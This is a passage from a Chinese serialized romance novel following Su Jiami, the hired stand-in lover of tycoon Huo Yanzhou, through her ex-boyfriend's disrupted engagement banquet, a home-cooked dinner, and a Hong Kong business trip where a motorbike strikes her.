若是办公的视频会议,黎骋应该在里面,而不是守在外边。 想来是霍砚舟的私事。 苏嘉觅想到许瑶要过去,她颔首,“好,那我自己去。” 她扬了扬请柬,“拿着霍总的请柬,我应该能进去吧?” 黎骋心里有些过意不去,“能。” 苏嘉觅拎着裙摆转身去乘坐电梯,隐约听到霍砚舟的办公室内有女人嘤咛的哭声传出来。 她下意识地看向了那扇紧闭的门...... 第21章 你跟霍砚舟睡了? 粤海国际酒店的门口,西装笔挺的陆北挽着冷媛的手在门口迎宾。 他抬眼就看到一袭香槟金鱼尾长裙的苏嘉觅迎面走来,恰到好处的裙摆拖在地上,裙摆上的钉珠和亮片灿灿生光。 得体的裙身包裹着苏嘉觅凹凸玲珑的曲线,侧开叉的裙体露出白皙纤细的美腿,相同色系的高跟鞋踩在迎宾地毯上都带着魅惑众生的妩媚风情。 至于那张明艳精致的美人脸更是勾人心魄。 苏嘉觅莞尔一笑。 陆北觉得自己骨苏体麻的同时,有一种被玩弄的愤懑。 苏嘉觅面色如常地过来,“恭喜陆先生,冷小姐,我是替我老板霍砚舟过来参加二位喜宴的!” 霍砚舟成了苏嘉觅的老板? 陆北的手已经攥紧。 果然,苏嘉觅跟霍砚舟搅到一起去了,她还帮霍砚舟杀掉了他两千万的收购款。 陆北恶狠狠地瞪着苏嘉觅。 苏嘉觅面色如常,“陆先生,你这么看着我,你未婚妻就要吃醋了。” 陆北回神觑向冷媛,果然她吃味地嘟着嘴巴。 “苏小姐,里面请!” 陆北皮笑肉不笑地邀请苏嘉觅进去。 苏嘉觅捏着手包,“陆先生认识我?你怎么知道我姓苏?” 冷媛一下子捏紧了陆北的胳膊,“陆北!” 苏嘉觅勾唇冷笑,曳着裙摆,袅袅婷婷地进了会场。 她头次参加名流云集的宴会,她捏紧了手包,就见许瑶招手。 “觅觅!” 看到许瑶,苏嘉觅松弛了不少,走到了许瑶身边。 许瑶看了一眼苏嘉觅亮眼的打扮。 她轻声,“宝儿,你这是来砸场子的吧?” 苏嘉觅伸手挡住嘴唇,低声说,“我刚一进门就打了陆北的狗脸,吓死他。” 许瑶偷笑。 她四下张望,“你的狗老板不是说陪你过来嘛,他人呢?” 苏嘉觅本想领着霍砚舟好好欣赏陆北能开大染坊的脸, 可惜天不遂人愿,霍砚舟有事来不了,她从侍者端的酒盘里拿了一杯香槟。 她抿了一口,“他有事,不来了!” 许瑶跟苏嘉觅的想法一样,“真扫兴。我还指望他来帮你虐渣,他竟然放你鸽子!” 苏嘉觅环顾四周,是布置精心有格调,奢华有品位的宴会。 陆北跟她在一起的话,怕是此生都不会有这种场面,也正因陆北想要更多的权势与财富,他才选择了冷媛。 她垂下眼眸,“是他家里的事儿,霍砚舟能帮我就不错了,我还能指望他给我出头?” 订婚宴正式开始前,陆北一直没露面。 苏嘉觅觉得以冷媛那种小姐脾气,她一定在跟陆北闹。 她撩了下头发,“瑶瑶,陪我去一下洗手间。” 洗手间外,许瑶出来等苏嘉觅的空档,来了个电话,她就到走廊尽头去接。 苏嘉觅出来补妆,就见陆北从里面出来。 他扯住苏嘉觅的手腕将她拉进了无人的男洗手间,抵在隔间的门板上,面色阴沉。 苏嘉觅眼中只有恨意,“松手!” 陆北嗤笑,“圈子里的人都知道霍砚舟虽然那里不行,但眼光高,且轻易不跟女人沾染。他会看上你?苏嘉觅,你被男人碰一下都僵硬得要死,霍砚舟扒你衣服,你受得了?” “这是什么话!” 苏嘉觅脸透粉,她垂眸,“跟你不行,不代表跟他不行,我的事,与你无关。” “苏嘉觅,你根本忘不了我,你故意跟他在一起,是为了报复我,对不对?” 陆北居高临下地看着她,“苏嘉觅,你今晚别闹。过了今晚,你跟着我,我不会亏待你!” “陆北,你少自作多情!霍砚舟就像天上的雄鹰,你看过哪个见识过雄鹰的女人,还会要只小麻雀?” “还有,谁告诉你霍砚舟不行的?” 苏嘉觅笑容潋滟。 她拿捏的声音格外魅惑,“他特别行,一晚上四次,我嗓子都喊哑了。” 陆北眼中的猩红荡漾开来,他跟苏嘉觅在一起六年,他虽然嫌弃她,可生理本能驱使下,他也想要过苏嘉觅。 可苏嘉觅根本不要他碰。眼下,她居然跟霍砚舟睡了。 苏嘉觅推开了陆北,“你再不滚,我喊人了!” 陆北像是丧失了理智一般,他大手掐住了苏嘉觅的脖颈,“你跟霍砚舟睡了?睡过几次?” 苏嘉觅觉得呼吸都有些困难,她指甲掐进了陆北的手腕细肉里。 这时,门被踹开了。 黎骋拎着陆北的外套后脖领将人扯了出去。 苏嘉觅咳嗽,顺着呼吸。 她迷蒙抬眼就见西装革履的霍砚舟站在她对面。 苏嘉觅穿着高跟鞋被迫在角落,她很不舒服。 霍砚舟伸手接住她,她顺从地伸出手。 霍砚舟握紧她的手将人拢进了怀里。 苏嘉觅这才看到黎骋在教训陆北。 黎骋没打陆北的脸,但陆北疼得脸上都是汗。 见霍砚舟出来了,黎骋松开了陆北。 霍砚舟幽深的眸子紧盯着陆北,缓缓骤起眉宇,眸色变得冷冽又危险。 “苏嘉觅是我的女人,你再碰她一下,就不是挨顿打了。” 霍砚舟扫了一眼陆北掐苏嘉觅脖子的手,“手不想要了,你可以直说。” 陆北额头上沁着汗,“不会有下次了!” 他恨恨地剜了一眼苏嘉觅才走。 陆北人一走,黎骋也出去守着了。 霍砚舟看着怀里因为惊恐而多了几分娇软的美人儿,心头起了涟漪。 他捻过她脖颈上娇嫩的细肉上的指痕。 “凶我,还会咬我,你怎么不咬他?” 苏嘉觅被气笑了,“我嫌他脏,下不去嘴。” 霍砚舟冷肃的脸上有了淡淡的笑意。 他凑过去在她耳边亲昵地询问,“这么维护我?一夜四次,你还喊哑了嗓子?” 苏嘉觅的脸泛着红晕,想挣脱霍砚舟的怀抱却被他抱得紧紧的。 她卖乖,“我是一个有职业修养的人,既然答应当霍总的门面情人,那就得尽职尽责。” 霍砚舟哂笑,“做得很好,我会奖励你。” 苏嘉觅觉得有钱压惊也不错,“多少钱?” “钻钱眼里去了?” 霍砚舟松开苏嘉觅,整理一下西装外套,“奖励是带你去动物园看雄鹰。” 男人转身走了,苏嘉觅听到了他的闷笑声。 她扫了一眼第一次进来的男洗手间,提着裙摆要走。 就听霍砚舟轻飘冷肃的声音传过来,“别好奇了,赶紧出来!” 许瑶眼瞅着她的好闺蜜苏嘉觅挽着霍砚舟的胳膊从男洗手间出来,而霍砚舟的特助黎骋手里则拎着“清理中,勿进”的黄色牌子。 “玩这么high吗?” 许瑶见此,偷笑着走了。 回宴会厅的路上,苏嘉觅没忍住问,“霍总不是有个重要的视频会议,怎么又过来了?” 第22章 霍砚舟:苏秘书,我要你痛快! 霍砚舟晦暗不明地一笑。 “因为担心你!” 不夹杂任何温情的话语听得苏嘉觅脊背冷飕飕的,显然霍砚舟没说出真实原因,担心她更是假话。 苏嘉觅懒得猜,只笑笑,随霍砚舟一起进了会场。 宴会厅内,男宾客无一不是西装革履,女宾客无一不是礼服加身,可饶是这样,霍砚舟都是男人堆里翘楚,众星捧月的存在。 至于苏嘉觅惊艳了所有不认识她的人,纷纷猜测这是哪家的千金。 霍砚舟听着窃窃私语,他眼神掠过身旁苏嘉觅的侧颜,隆起的胸脯。 他漫不经心地说,“你还挺招人。” “只是方才陆北说的,你不让男人碰是真的吗?” 霍砚舟不待苏嘉觅回答,他偏头过来在她耳边吐气而言,“可我不止一次碰你了。” 苏嘉觅不堪的童年与过往,她不想提。 她抬眸看向霍砚舟,潋滟一笑,“霍总是个例,你可以,别人都不行。” 说完,苏嘉觅别过脸,神情淡漠。 霍砚舟缓缓骤起眉宇,他察觉出野狐狸一般的苏嘉觅,是生气了。 冷家人看到霍砚舟大驾光临,急忙引荐乘龙快婿陆北给霍砚舟。 冷父攀谈,“霍先生大驾光临,可见与小婿合作很愉快。” 霍砚舟桃花眸呆滞几秒,犹疑地看向黎骋。 黎骋探身过来,声音却不小,“霍总,冷总说的是他的女婿陆北,陆北的嘉北公司前两天被我们收了。” 霍砚舟浅笑对冷父点头,“收购愉快。” 黎骋笑着解释,“冷总,上个月,我们集团收购了六家公司,嘉北是其中最小的公司。所以,霍总大概忘了。” 众人恍然。 敢情人家霍砚舟都没把收购嘉北当回事儿,只有冷家觉得这样的收购是攀上霍砚舟的好合作。 冷家真是丢人现眼! 苏嘉觅为了忍笑,不自主地握紧了霍砚舟的胳膊。 忽而,霍砚舟的大手覆在了她手上,“宝贝,别紧张。” “宝贝别紧张”是什么鬼? 就听霍砚舟当着一众人,语气亲昵地说,“我花三千万收嘉北就是给我的女人出口恶气。” 他觑向陆北,“你说是吧,陆总?” 陆北身上的汗都黏在了衬衫后面。 他紧张地盯着苏嘉觅,“霍总,您入座吧!” 冷父不明所以,圆场道,“各位入座吧,仪式马上开始了。” 可圆桌的好处就是众人把霍砚舟说的话不仅记住了,并且传了一遍。 冷媛在后面等待进场,自然不知道到底发生了什么。 霍砚舟牵着苏嘉觅的手入座。 彼时,自助餐区的人都坐上了圆桌,桌上尽是珍馐美味。 苏嘉觅准备动筷子,霍砚舟却握着她的手不放。 她想撤回手,可男人却似笑非笑地说,“再亲密的事都做过了,牵手有什么不妥?” 苏嘉觅打量一下这一桌子人,笑容都有些意味深长。 她软萌无辜地看向霍砚舟,“霍总,我饿了。” 霍砚舟扫了一桌子都看向他与苏嘉觅的“看客”。 “嗯?哪饿了?” 苏嘉觅感觉被冒犯到了,她皮笑肉不笑地用霍砚舟握住的那只手的长指甲抠他的掌心,他似乎不怕疼,把玩着她的手,将她的手圈进了他的掌心。 霍砚舟自然的动作让苏嘉觅愣在当场。 一个从小缺失父爱与母爱的人,沉迷于这种牵手,苏嘉觅怔怔地看霍砚舟那骨节雅致的手。 霍砚舟挑挑眉,轻声,“要脸,人多,不能咬。” 男人声音虽轻却透着威胁,让苏嘉觅回神后只无语地瞪了他一眼。 这时,台上的大屏幕上放出了冷媛和陆北的相恋时间线秀恩爱。 正播放到《时空胶囊》节目中冷媛和陆北的采访—— 记者问,“你想对五年前的自己说什么?” 陆北满脸带笑,含情脉脉地看着冷媛,“我想告诉我自己,快去找一位叫冷媛的美女,这样我们就不会错过这五年。” 底下响起掌声。 霍砚舟却捏了捏正在喝香槟的苏嘉觅的手。 苏嘉觅抬眸,就见视频转到了另一个采访,接受采访的人是她。 视频中,她捏着小收音器,一字一顿地说,“我想对五年前的自己说——苏嘉觅,你不要与陆北在一起六年,他不值得。” 话音落,现场一片哗然。 原来,霍砚舟的新女友苏嘉觅竟然是今晚主角陆北的前女友,而且按照苏嘉觅所说两人在一起六年,那岂不是陆北跟苏嘉觅在一起时,就劈腿了冷媛? 众人回想起方才霍砚舟的话“我花三千万收嘉北就是给我的女人出口恶气”,一时间沸反盈天。 有人嘲笑冷媛找了个劈腿的渣男,更多的人嘲笑霍砚舟是个冤大头,为了一被陆北玩坏了女人豪掷三千万。 苏嘉觅听到这,脸上不自在。 霍砚舟倒是无所谓地松开了苏嘉觅的手。 他用公筷夹菜给苏嘉觅,“不是饿了,怎么不吃?” 苏嘉觅内心有一万头羊驼飞奔而过。 她小声说,“霍总,你真不在乎别人怎么说你吗?” 霍砚舟慢条斯理地擦擦了嘴,“我只在乎你痛不痛快!” 与陆北在一起六年是事实,内里细节,没人在意,苏嘉觅也不屑于解释,她也不在乎这些。 她看向台上异常慌乱叫人去切断视频的陆北,她确实觉得挺痛快的。 冷父的脸色极其难看,他上台叫停了订婚宴。 “不好意思,各位来宾,家门不幸,识人不清,本次订婚宴...” “不作数”三个字还没说出来,就听冷媛哭着打算,“爸,我怀了陆北的孩子,我是一定要嫁给他的。” 未婚先孕的劲爆消息又出来了。 冷父一口气没上来,晕了过去,台上一片混乱。 陆北这个金贵的好女婿更加手忙脚乱,他要顾着怀孕的冷媛,又要给准岳父做心肺复苏。 霍砚舟挑眉问苏嘉觅,“这热闹不下饭,走吗?” “必须得走,”苏嘉觅勾唇,“我请霍总出去吃。” 霍砚舟起身,牵着苏嘉觅的手往外走。 台上,陆北瞪向苏嘉觅和霍砚舟的目光透着怨怼,十足的不怀好意。 霍砚舟拿了车钥匙,独自载苏嘉觅离开。 苏嘉觅微微敞着车窗。 夜风入车,她撩了撩被风吹起的长发。 “霍总,既让我痛快又帮我拉波仇恨,你到底为了什么呀?” 第23章 霍总,开饭啦! 霍砚舟看了一眼坐在他黄色迈凯伦副驾驶的苏嘉觅,她闲适自得的模样透着妩媚,带着慵懒。 他一手扶着方向盘,一手支着车窗抵着下嘴唇,“为了跟你捆绑得再深一点,好做戏。” 苏嘉觅没想到霍砚舟会实话实说。 她偏头看向窗外,“就这些?” 霍砚舟清冷的“嗯”了一声就结束了这个话题。 “你请我到哪吃饭?” 苏嘉觅目前还不太知道霍砚舟的喜好。 她没什么语气,“霍总想吃什么?我都可以。” 霍砚舟意味深长地看了苏嘉觅一眼,“我想尝尝你的手艺。” 苏嘉觅拧眉,“啊?” 霍砚舟却不理会苏嘉觅的抗议,直接将车开到了高奢生活馆的楼下。 这是一个卖高档食材的地方,澳洲鲍鱼、龙虾、和牛等高端食材应有尽有。 只是常年健身,轻断食的霍砚舟大晚上想吃生猛海鲜? 这是真想吃还是想耍她? 霍砚舟衣着不凡地出现在超市的生鲜区本来就很违和,更违和的是穿着礼服的苏嘉觅推着购物车看着他选购食材。 两人的打扮十分扎眼,时不时就有人拍照,还有一些人指着风姿出众的霍砚舟说他是不是哪个明星。 苏嘉觅看着不问意见,不打招呼的霍砚舟选了好多高档食材,而他每放在购物车里一件,她就计算一下价格,感觉心口的供血都不足了。 毕竟,她现在是一分钱都没拿到手呢! 付款的时候,苏嘉觅绝望地翻出二维码。 霍砚舟垂眸忍笑,阔步过去付了款。 苏嘉觅见此,会心一笑,觉得这个男人还是挺体贴她这个穷人的。 却见男人修长的手指在安全套展卖栏里,选了两盒L号的进口超薄冈本递给了售货员,“还有这个!” 后面排队付款,盯着霍砚舟的人拍照拍得更起劲了,嘴上嘟嘟囔囔,有的甚至笑出了声。 苏嘉觅冷声,“霍总?” 霍砚舟微微颔首,“尝你...手艺。” 到了外边,苏嘉觅已经彻底被霍砚舟的骚操作搞得不耐烦了。 “霍总需要时时刻刻都秀吗?” 霍砚舟神情一顿,他冷嗤,“你怕花钱,我付款,我秀什么了?” “我说的套子,”苏嘉觅不解,“有必要吗?” “我有说跟你用?” 霍砚舟清俊的面容似乎染了一层寒霜,他眼底透着薄薄的嘲讽。 苏嘉觅一顿,她随即拍了拍胸口,“我就说嘛,误会,都是误会。” 说完,她翻了白眼上了车。 到了车上,霍砚舟边扣安全带边问,“你家怎么走?” “不是去你那吗?你要在我家吃饭?” 苏嘉觅更疑惑了。 她赶紧解释,“霍总,我的公寓很小,都没你的洗手间大。” 这句话逗笑了霍砚舟。 他启动车子,“那没见过,去看看。” 到了苏嘉觅的公寓,霍砚舟只拎着小小的袋子,里面有安全套还有一瓶红酒,而苏嘉觅却拎着大大的袋子上楼。 苏嘉觅看着清冷到没有人情味和绅士风度的霍砚舟,她恨得牙根痒痒。 可她又不能说什么,谁让她就是赚这份钱的呢? 开门打开灯,苏嘉觅不好意思地笑笑,“霍总,里面请,希望不会吓到你。” 苏嘉觅换了拖鞋进了厨房,而霍砚舟却开始打量这面积小却被苏嘉觅打理得干净雅致的小公寓。 他坐在沙发上看着苏嘉觅匆匆进了卧室换了睡衣,又出来给他倒水。 “霍总,你自己看会儿电视?” 她走过去俯身打开不大的电视机,选了历史记录,播放了她之前的看的动漫——《伯爵与妖精》。 霍砚舟的表情有些一言难尽,他成年后头次看动漫打发时间。 他中学的时候爱看这些,内心孤独的人喜欢看动漫,尤其是剧情热闹的动漫。 苏嘉觅挽起了头发,系了围裙,已经开始在厨房里忙碌了。 霍砚舟起身在苏嘉觅的房间里转了一圈,又聊赖地坐在那看动漫。 看了半集,他神情变得冷肃,拿起遥控器将电视关了。 苏嘉觅探身出来,“不好看吗?” 霍砚舟的眸光闪过一丝慌乱,随即恢复如初,惯有的清冷漠然,“太吵了!” 也对,性子清冷的霍砚舟怎么会喜欢动漫呢? 苏嘉觅洗了水果。 她端过来拈起一枚樱桃放在嘴里,“新熟的第一批樱桃,霍总尝尝。” 苏嘉觅莹润的嘴唇沾上了鲜红的樱桃汁水,愈发的惑人。 霍砚舟看着唇红齿白的苏嘉觅,他偏过头,不再看,“嗯。” 苏嘉觅是看在他是她老板的面子上才让他享受一下她的“苏氏”待客法,结果人家不领情。 她放下果盘人就回了厨房。 霍砚舟扫了一眼那电视机,心想聪明的苏嘉觅是不是已经猜到了什么才给他看这个动漫,试探他的? 他拈起一颗樱桃含在嘴里,想起了她方才沾着樱桃汁的嘴唇,他咕噜一下喉结。 “苏秘书,你收拾一下,明天搬我那去。” “我为什么要去你那?” 苏嘉觅扫了自己的公寓,“等过一段时间,我搬到风情雅苑去。” “这不安全。” 霍砚舟抻了下西裤,仰靠着沙发,“陆北会报复你。” “他那个人谨小慎微的,知道我是你的人,他还敢?” 苏嘉觅觉得有霍砚舟这么一尊大佛罩着她,在京城,没人敢动她。 霍砚舟觉得苏嘉觅聪明嘴甜。 可他嗤笑道,“我总有顾不到你的时候,住在一起,我可以兼顾你的方方面面。” 这话听着不像好话,苏嘉觅没接。 霍砚舟却直接拍板,“就这么定了,你这,条件太差。” 苏嘉觅边做避风塘炒蟹,边思虑霍砚舟的话。 她这个人,惜命! 苏嘉觅越想越觉得霍砚舟的话有道理,既然求了他的庇护,那就没必要给陆北可乘之机。 黎骋发来信息——霍总,热搜已经预热了。 霍砚舟扫了一眼,按灭了手机,他脱下西服外套准备洗手吃饭。 暖黄色的灯光下,苏嘉觅摆饭的样子,静谧祥和,贤惠温婉,看得他一怔,随即又迅速别过脸去洗手。 不大的洗漱间有苏嘉觅身上淡淡的玫瑰香,很好闻。 “霍总,开饭了!” 一餐饭,霍砚舟吃得很尽兴,他觉得苏嘉觅身上还是有闪光点的——厨艺不错,合他胃口。 他抿唇,“之前答应你的钱,明天到账。” “谢谢霍总,我干了,您随意!” 说完,苏嘉觅将酒干杯了。 霍砚舟捏着高脚杯也喝了酒,“你这么说,我得陪你喝一个。” 他将红酒一饮而尽。 苏嘉觅看着灯光下男人俊美无双的脸庞,开诚布公地问,“霍总,你利用我除了长你脸面,你还有什么目的?” 第24章 霍砚舟承认他惧内 苏嘉觅喝了酒,脸颊泛粉,醉眼朦胧,只是那双杏核眼尾微微上挑的模样,风情万种中带着她独有的狡黠。 霍砚舟落在她身上的目光就像那深邃的夜空一样,让人一眼望不穿,可这目光里隐藏了一丝情愫,稍纵即逝。 他垂眸正要开口,就听苏嘉觅调侃他,“霍总这是心虚了?” 苏嘉觅一手支着头,一手的食指摇晃着。 “我苏嘉觅这辈子有两件事,给多少钱都不做,其一是卖身,其二是卖身体的器官、血液啥的。我这人,惜命。” 霍砚舟一顿,随即戏谑地问,“当真多少钱都不卖?” 苏嘉觅澄明了几分的眼睛里都是坚定,“不卖。” 她长舒了一口气,“这个世界上,我只有我自己了,我最珍贵。” 苏嘉觅要留着一副好身体,健健康康地出现在她母亲面前。 所以,即便她之前再困顿,她也没想过答复那些希望她有偿捐点什么的人,她不是圣母,她没必要因为钱而救济别人的人生。 况且,她的人生又有谁来救济呢? 霍砚舟心头泛堵,眉目渐渐清冷了几分。 他仰靠在椅子上,自顾自地倒了一杯酒。 “你不惜把自己说成孤儿?” 苏嘉觅捏着螃蟹爪子,嘴角露出一抹讥笑,“我四岁时我父亲离开了家,我妈也不知所踪,我不是孤儿,是什么?” 霍砚舟捏着高脚杯的手顿住,他看向风轻云淡的苏嘉觅,她在陈述事实更像是说别人的故事。 他叹一口气,“不好意思。” 苏嘉觅没吭声。 霍砚舟看了一眼墙上的挂钟,凌晨12点了多了。 他起身套上搭在椅子上的外套,“时间不早了,我走了。” 苏嘉觅冲他摆摆手,“霍总,明天见。” 霍砚舟紧绷下颌,扫过苏嘉觅脸上红晕,“明天,你别迟到。” 说完,他开门走了。 苏嘉觅看着满桌子的好菜,她想到了每年的春节。 陆北要回老家过年,留着她盯着公司,而许瑶全家也会回到她奶奶老家去过年,偌大的京城,她无人陪,无处去。 她总会做一桌子年夜饭,自饮自酌,等着初七陆北回来,再跟他补过一个属于两人的春节。 眼下,一种凄凉的感觉再次袭来。 这次,即便是大年初七也没有她要等的人了。 想到这,苏嘉觅红了眼眶。 她挠了挠头,倚着胳膊,“妈,你到底在哪呢?” —— 从公寓出来,霍砚舟面沉如水。 黎骋等在楼下,“霍总,热搜已经登顶了。” 霍砚舟没看手机,只“嗯”了一声,就上车了。 许瑶看到热搜的时候,正打完游戏,准备睡觉。 她赶紧给苏嘉觅打电话。 苏嘉觅收拾完,人已经躺在床上昏昏欲睡了。 接起许瑶的电话,就听她声音咋咋呼呼的,“觅觅,你和霍砚舟做了?” “做什么?” 苏嘉觅打了个哈欠,“我是做饭给他吃了。” 许瑶觉得完全是鸡同鸭讲。 她捏着电话,“你和霍砚舟上同城热搜了,一上好几个。” 苏嘉觅在千万人口的京城名不见经传,纯素人,竟然跟着霍砚舟一道上热搜了? 她拿起手机翻到热搜—— 榜一:霍爷赴情人深闺酣战四个小时 榜二:霍爷豪掷三千万冲冠一怒为红颜 榜三:知情人爆料让霍爷甘当冤大头的女人是嘉北董事长的前女友 榜四:他不行是假,玩得花才是真。 苏嘉觅小心脏突突直跳,随便翻一个热搜,图片不是霍砚舟领着她在生活馆买TT就是霍砚舟深夜从她的公寓离开。 最不济也是冷家的订婚宴上霍砚舟带着她离场的照片。 只是,她的脸被打了码,像是出于对她的保护。 许瑶勾唇,“霍总,活儿好吗?” “不知道,”苏嘉觅无语地说,“我只知道晚上我烧的几道菜火候正好。” 许瑶听出不对劲儿细问了一下,“这么说,外界传闻是真的,他真不行?” “只有不行的人才玩命地砸钱往自己脸上贴金,”苏嘉觅又打了个哈欠,“我就是赚这份儿钱的,我得配合他。” 许瑶无语地叹了口气,“我还以为他看上你了,没想到他真中看不中用。睡吧,觅觅,知道你不在意这些,我就放心了。” 苏嘉觅挂了电话就睡了。 她不知道因为这些热搜,外面早已经沸反盈天。 第二天,苏嘉觅收拾了好了一些东西,准备下楼。 就见霍砚舟的座驾停在那等她。 黎骋下车帮苏嘉觅把搬去霍砚舟那的行李放进了车里,又给她打开了车门。 苏嘉觅微微探身,看向正在看文件的霍砚舟,“霍总,您怎么来接我了?” 霍砚舟嗤笑,“怕你被八卦记者给堵了。” 黎骋赶紧催促苏嘉觅上车,“苏秘书,外边好多狗仔还有自媒体等着拍您真容呢,咱赶紧走吧!” 人怕出名猪怕壮,她苏嘉觅一张打码脸因为攀上霍砚舟竟然出名了? 到了车上,车直奔机场。 苏嘉觅不解,“我们这是去哪啊?” “去港城出差。” 霍砚舟没抬眼,翻着手里的文件。 苏嘉觅咬了下嘴唇,迟疑地问,“几天?” 霍砚舟看向苏嘉觅,“你有急事?” “就是向陆北要钱的事儿。” 苏嘉觅盘桓着整件事。 她笑着说,“这不是趁热打铁么?昨天上了热搜,我现在去要钱,陆北不敢不给,他不给那就是跟冷家过不去,他一定怕我闹到他媳妇娘家去!” “算盘打的,响!” 霍砚舟白了苏嘉觅一眼便不再理她。 他买了那么多条热搜,苏嘉觅不仅没太在乎,还为她所用了。 霍砚舟不着痕迹地攥了一下手,就见苏嘉觅开始拿着手机与开车的黎骋对行程,像是要挤出一点时间来。 “你要做什么?” 他有些不耐烦地问。 苏嘉觅没去过港城,她如实地说,“看看有没有一点时间办下私事。” 霍砚舟气闷地冷哼一声不再搭理苏嘉觅。 落地港城后,办理完入住,霍砚舟领着黎骋、苏嘉觅去谈生意。 苏嘉觅看着工作中认真异常的霍砚舟才算真正理解了“工作中的男人最帅”这句话。 有工作加持的霍砚舟,专业,机敏,他的谈笑风生都让人觉得赏心悦目。 她回身挑了挑眉,心中叹惋——多好的一个男人啊,偏偏是个不行的,可见老天是公平的。 苏嘉觅再抬眼就见霍砚舟死死地瞪着她。 难道她“可惜了”的表情太过明显了,让霍砚舟发现了? 晚上,港城的合作方在招待完几人用餐后,在一高档会所包了大包厢款待霍砚舟。 刚上了酒,一众扭着腰肢的女公关就进来了。 霍砚舟将苏嘉觅拉坐在腿上,他大掌扶着她的腰肢,“我惧内。” 第25章 霍砚舟:我不好野味 苏嘉觅的工具人属性又上线了。 她坐在霍砚舟怀里,男人灼热的体温烫得她浑身不自在,她乖顺地从霍砚舟的怀里挣了出去。 可男人的胳膊像是生出了翅膀,又将人禁锢了回来,他灼热的大掌抚在她的腰间,往他身侧按了按。 霍砚舟面上风轻云淡,“我不好野味。” 港城的李总点头哈腰的,挥手让女公关退了下去。 人走后,苏嘉觅松弛不少。 她往外挪了挪屁股,开始喝点小酒,吃坚果,吃水果,看上去像个好看的花瓶。 忽而,霍砚舟挑着眉眼露出一抹若有似无的浅笑。 “苏秘书,你觉得呢?” 全程霍砚舟都在与李总谈投资的事情,苏嘉觅听了一耳朵,但没想到霍砚舟会突然问她。 苏嘉觅沉吟片刻,捏着水果叉。 “李总,房地产政策收紧,港城原产业在香江对岸已成颓势,新能源车和AI才是发展主流。” 她叉了一粒葡萄,嘴角噙笑。 “我们霍总眼光独具,将产业园分散三地,港城建立基地是整合港城海外资源优势助力几城协同发展,这种好事儿,但凡是港城其他商人知道,我们霍总都没时间跟您在这闲聊。” 霍砚舟垂眸浅笑。 他没什么语气地对李云说,“被我宠坏了,总喜欢说实话。” 李云见霍砚舟带来的模样动人的女人,知道两人不一定是男女朋友关系,但一定是男女关系。 一般这种关系,男人不会让女人在生意伙伴面前侃侃而谈,可见霍砚舟对这女人挺上心,也尊重。 李云笑着颔首,“霍总身边人才济济,这生意不成,我的眼光可就不及苏小姐。” 苏嘉觅将葡萄放进嘴里,酸甜可口,继续专心做“干饭人”。 凌晨十二点前,应酬结束。 霍砚舟揽着苏嘉觅的腰上了车,到了车上两人才疏离地分开。 一个仰靠在椅背上闭目养神,一个靠在车门处打哈欠。 回到酒店,两人各自回了自己的房间。 苏嘉觅则在官网查港城人员户籍中心处的上班时间,她打算到那问问有没有一个叫阮怜玉的女人从江城市的边水镇到港城定居。 接下来两天,苏嘉觅陪着霍砚舟应酬,她觉得好累,晚上回酒店的时候,黎骋送来一个蓝色金丝绒的盒子。 “苏秘书近几日辛苦,这是霍总买给你的,让我送过来。” 苏嘉觅斜倚着门,接过盒子,“单纯送我,不从奖金里扣吧?” 黎骋忍着笑,他摇头,“纯送你的,不要钱。” 苏嘉觅扬扬手里的盒子,“替我谢谢霍总。” 正要关门,黎骋挡了下门,“苏秘书,你不应该当面谢霍总吗?” “明天谢!” 说完,苏嘉觅关上了门。 打开蓝丝绒的盒子,里面一套蓝宝石的珠宝套装,晶亮的宝石闪着夺目的光泽。 苏嘉觅觉得霍砚舟对女人出手真大方。 总统套内,霍砚舟抿了一口红酒,听黎骋汇报苏嘉觅收到礼物后的表现。 “嚓——” 霍砚舟手中的打火机冒出火花,他斜叼着烟,点火,深吸了一口。 “没了?” 黎骋颔首,“嗯,她说明天谢您。” 霍砚舟舌尖抵了下口腔壁露出一抹嗤笑,“一财迷还端得挺高。” 他将另一个蓝丝绒的盒子推到黎骋面前,“找人送到江城去。” 霍砚舟又吸了一口烟,烟气缭绕间,他嘱咐黎骋,“明天找机会把那件事办了。” 黎骋点头,拿过盒子出了门。 苏嘉觅在房间内,将珠宝套装发给许瑶让她评估个价格,她告诉许瑶,霍砚舟对她出手很大方。 许瑶打了个哈欠,“他为啥送你呢?” “因为我陪他应酬表现出色呗,”苏嘉觅拿着擦宝石的绒布将主石擦了又擦,“瑶瑶,这是我收到的第一套珠宝。” 许瑶心头发酸,陪着陆北创业的苏嘉觅最贵的首饰就是一串粉钻手链,还在陆北假破产后卖了“还债”。 两人又聊了一会儿就挂了语音。 第二天早上,苏嘉觅在自助餐厅里殷勤地照顾霍砚舟吃早餐。 “霍总送我的礼物,我很喜欢,”苏嘉觅夹了一块小牛排在霍砚舟的餐盘里,“以后这种奖励多多益善。” 霍砚舟没说话,也没多余的表情给苏嘉觅。 他这幅样子就是心绪最平和的时候,苏嘉觅赶紧说,“霍总,我今天有点私事要办,想跟你请半天假。” 霍砚舟捏着刀叉的手顿住,“准了。” 苏嘉觅嘴角漾笑,快速吃完就与霍砚舟道别,“霍总慢用,有事儿您给我电话。” 霍砚舟看着心情大好,着急去办私事的苏嘉觅,他微抬下巴示意黎骋,“你也该走了!” 苏嘉觅打车去了户籍中心处,一圈咨询下来,她在对外公示的电脑上搜索阮怜玉的名字,没有查到这个名字的人迁入港城。 失望的苏嘉觅盯着电脑屏幕出神良久,她缓了一会儿才起身。 她请了一上午假,结果不到一个小时就知道了结果——她妈妈阮怜玉不在港城。 从中心处出来,苏嘉觅打算在港城逛逛,她去爬了山。 走到半山腰,一辆疾驰的摩托车冲苏嘉觅而来,她赶紧躲闪避让,可那车像是故意一样撞向了她的腿。 将她整个人都迫在山壁上,山上的树枝草棘刮在她皮肤上,刺骨地疼。 苏嘉觅瞪着摩托车手的头盔后的眼睛,大声责问,“你是谁?” 那人顿了顿,就骑着摩托车扬长而去。 苏嘉觅小腿很痛,她赶紧拨打了急救电话。 总统套房内,霍砚舟看黎骋急匆匆地进来,他脸上有些许喜色,“霍总,成了,苏嘉觅的血液样本收集到了。” 霍砚舟正了下领口,“你订票,我们飞回京城。” 黎骋挠了挠头,“苏嘉觅怕是暂时回不去。” 霍砚舟挑眉,眉目清冷,“她想等体检结果出来后再回去?” 黎骋面色难看,他舔了下嘴唇才说,“她出车祸了,人在医院。” 霍砚舟神色一僵,冷凝之色渐重,“你安排人撞她拿样本的?” 黎骋赶紧摇头,他解释了前因后果,“我按您的安排给她预约了港城最出名的体检项目,她人一定喜欢,刚要通知她,就接到了她出车祸的电话。” 霍砚舟盯着黎骋的眼睛,澄澈没有算计。 